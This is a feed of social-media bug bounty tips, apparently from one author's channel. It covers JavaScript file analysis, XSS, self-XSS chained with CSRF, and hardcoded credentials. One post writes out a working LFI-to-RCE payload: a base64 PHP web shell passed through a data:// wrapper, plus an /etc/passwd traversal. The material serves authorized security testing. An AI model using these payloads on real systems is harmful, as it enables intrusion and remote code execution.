⚡While reading JavaScript files, I discovered a Broken Access Control vulnerability!
Guys, while analyzing a JS file, I noticed the target was using a dynamic app structure. Inside the JS file, I found some hardcoded URLs related to the dashboard view, including tokens — which instantly caught my attention!
Out of curiosity, I tried accessing those URLs without the token, and it redirected me to the login page. But once I accessed them with the token… BOOM! I got full access to the dashboard without any authentication! 💥
Never skip manually reviewing JS files — they often contain juicy endpoints and hidden treasures! 💯
Follow me 👉🏼 DarkShadow
#bugbountytips
Guys, while analyzing a JS file, I noticed the target was using a dynamic app structure. Inside the JS file, I found some hardcoded URLs related to the dashboard view, including tokens — which instantly caught my attention!
Out of curiosity, I tried accessing those URLs without the token, and it redirected me to the login page. But once I accessed them with the token… BOOM! I got full access to the dashboard without any authentication! 💥
Never skip manually reviewing JS files — they often contain juicy endpoints and hidden treasures! 💯
Follow me 👉🏼 DarkShadow
#bugbountytips
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Tired of manually collecting scopes from HackerOne, Bugcrowd, or other platforms? This upcoming Firefox extension is built just for bug bounty hunters like YOU!
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#bugbounty #infosec #tools #bugbountyTips #recon #firefox #cybersecurity
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🥷 Hall of Fame @ GEA.com – done!
Thanks to my automations, finding bugs is easier than ever.
📩 DM
#bugbounty #halloffame #webpentesting #automation #brutsecurity #infosec
Thanks to my automations, finding bugs is easier than ever.
📩 DM
#bugbounty #halloffame #webpentesting #automation #brutsecurity #infosec
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⚡ Find XSS in One of the Most Commonly Vulnerable Parts of a Website 💥
You’ve probably seen websites with an AI-powered chatbot feature, right?
Well, this is one of the spots where I often find XSS vulnerabilities with ease.
Try it out —
Don't forget to react and follow me 👉🏼 DarkShadow 😁
#xss #Bugbountytips
You’ve probably seen websites with an AI-powered chatbot feature, right?
Well, this is one of the spots where I often find XSS vulnerabilities with ease.
Try it out —
but always remember to use document.domain to verify whether the payload is executing on your in-scope domain or inside an iframe from a different domain. This helps confirm if the XSS is actually exploitable or sandboxed.
Don't forget to react and follow me 👉🏼 DarkShadow 😁
#xss #Bugbountytips
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⚡Hello Hunters! Ready to find your first bounty? Try this underrated approach! ✨
Most bug hunters go after common issues like XSS, SQLi, SSRF, CSRF, IDOR, open redirection, CVEs, or use automated scanners. But don't sleep on JavaScript file analysis — it's a goldmine for critical bugs.
Automated tools help extract endpoints and sensitive info, but manual JS review reveals the real logic and flow of the app — things scanners often miss.
Here are vulnerabilities you can find just by reading JS files:
1. Authentication bypass
2. Sensitive info leaks
3. Hardcoded credentials
4. Config/env file disclosure
5. Hidden login portals
6. JWT secrets & API keys
7. Outdated services loed CVE to exploit
8. Dependency confusion
9. File upload endpoints
10. RFI → RCE
11. Open redirection
12. DOM-based XSS
13. WebSocket endpoints
14. Hidden parameters
15. IDOR
Pro tip:
Upcoming posts will reveal step-by-step methodologies for JavaScript file analysis to uncover critical vulnerabilities.
Till then, keep learning, keep exploring.
Follow me 👉🏼 DarkShadow
#BugBountytips@brutsecurity
Most bug hunters go after common issues like XSS, SQLi, SSRF, CSRF, IDOR, open redirection, CVEs, or use automated scanners. But don't sleep on JavaScript file analysis — it's a goldmine for critical bugs.
Automated tools help extract endpoints and sensitive info, but manual JS review reveals the real logic and flow of the app — things scanners often miss.
Here are vulnerabilities you can find just by reading JS files:
1. Authentication bypass
2. Sensitive info leaks
3. Hardcoded credentials
4. Config/env file disclosure
5. Hidden login portals
6. JWT secrets & API keys
7. Outdated services loed CVE to exploit
8. Dependency confusion
9. File upload endpoints
10. RFI → RCE
11. Open redirection
12. DOM-based XSS
13. WebSocket endpoints
14. Hidden parameters
15. IDOR
Pro tip:
don’t ignore <script> tags in HTML/PHP files — they can might triggered RFI, LFI, and more.
Upcoming posts will reveal step-by-step methodologies for JavaScript file analysis to uncover critical vulnerabilities.
Till then, keep learning, keep exploring.
Follow me 👉🏼 DarkShadow
#BugBountytips@brutsecurity
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Approximately 50 people got duplicated to his report and man said noobs 😭😭😭😭
hackerone.com/reports/2014955
hackerone.com/reports/2014955
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⚡ Hardcoded Admin Credentials Found in JavaScript File 🔥
Hey hunters, always remember to gather as many JS files as possible during recon. Parse them for sensitive URLs — even if they lead to blank pages or unauthenticated areas, those JS files might be calling others in the background. Intercept everything. You might just uncover hardcoded credentials!
Don't forget to react and follow me 👉🏼 DarkShadow 😁
#BugBountytips@brutsecurity
Hey hunters, always remember to gather as many JS files as possible during recon. Parse them for sensitive URLs — even if they lead to blank pages or unauthenticated areas, those JS files might be calling others in the background. Intercept everything. You might just uncover hardcoded credentials!
POC – Steps
While reconning a target, I found a user signup page. With Burp proxy running, I grabbed some .js files. Inside one of them, I spotted some Base64-encoded strings. After decoding, I found embedded <script> tags referencing more URLs. One of them redirected me to a blank page.
But after deeper analysis, I discovered an interesting endpoint: admin-user-accounts.json. Shockingly, it revealed hardcoded admin credentials — only accessible through specific JS file calls. A critical vulnerability, just hiding in plain sight.
Don't forget to react and follow me 👉🏼 DarkShadow 😁
#BugBountytips@brutsecurity
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Screen Recording 2025-04-20 at 7.gif
2.2 MB
If you find a Self-XSS through a POST request, don’t ignore it.
Build a CSRF proof-of-concept using Burp Suite, and just like that — it’s no longer just Self-XSS.
BOOM, It becomes a one-click account takeover vulnerability.
Don't forget to follow me DarkShadow
#bugbountytips
Build a CSRF proof-of-concept using Burp Suite, and just like that — it’s no longer just Self-XSS.
BOOM, It becomes a one-click account takeover vulnerability.
Don't forget to follow me DarkShadow
#bugbountytips
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Let us know if you are guys not satisfied with the contents. Or ask in comments what content you are looking for.
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🔥 LFI to RCE via PHP Wrapper (No Log File Needed!) ⚡
Got LFI but no luck with log poisoning or other tricks? Try this killer method using PHP wrappers:
Example vulnerable param:
Now craft your PHP shell with base64 encoding:
You’ll get:
URL-encode it:
Final payload (using data:// wrapper):
BOOM! Remote Code Execution.💥
I also have a wild method to go from LFI to RCE using a leaked phpinfo() page. Want it? Let me know.
Follow for more 👉🏼 DarkShadow
#BugBountytips@brutsecurity
Got LFI but no luck with log poisoning or other tricks? Try this killer method using PHP wrappers:
Example vulnerable param:
page=../../../../etc/passwd
Now craft your PHP shell with base64 encoding:
echo '<?php system($_GET["cmd"]); ?>' | base64
You’ll get:
PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pgo=
URL-encode it:
PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA%2FPgo%3D
Final payload (using data:// wrapper):
page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA%2FPgo%3D&cmd=id
BOOM! Remote Code Execution.💥
I also have a wild method to go from LFI to RCE using a leaked phpinfo() page. Want it? Let me know.
Follow for more 👉🏼 DarkShadow
#BugBountytips@brutsecurity
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DarkShadow (@darkshadow2bd) on X
Ethical Hacker | Penetration Tester | Security Researcher | Bug Hunter | Exploit Developer.
🔥~For more Join my New telegram Channel👉🏼 https://t.co/9p1yvzluA4 ✨
🔥~For more Join my New telegram Channel👉🏼 https://t.co/9p1yvzluA4 ✨
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Hey guys! Let me know what you'd like to see in the next post:
Anonymous Poll
44%
1. LFI to RCE via phpinfo() — Turning file read into full remote code execution.
41%
2. Business Logic Flaw to Auth Bypass — Exploiting broken logic for unauthorized access.
15%
3. Abusing XXE for Local File Read & Popping Shells (RCE).
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Easily extract wildcard and normal domains from any bug bounty scope page with a single click.
#bugbounty #infosec #firefox #BrutSecurity #recon
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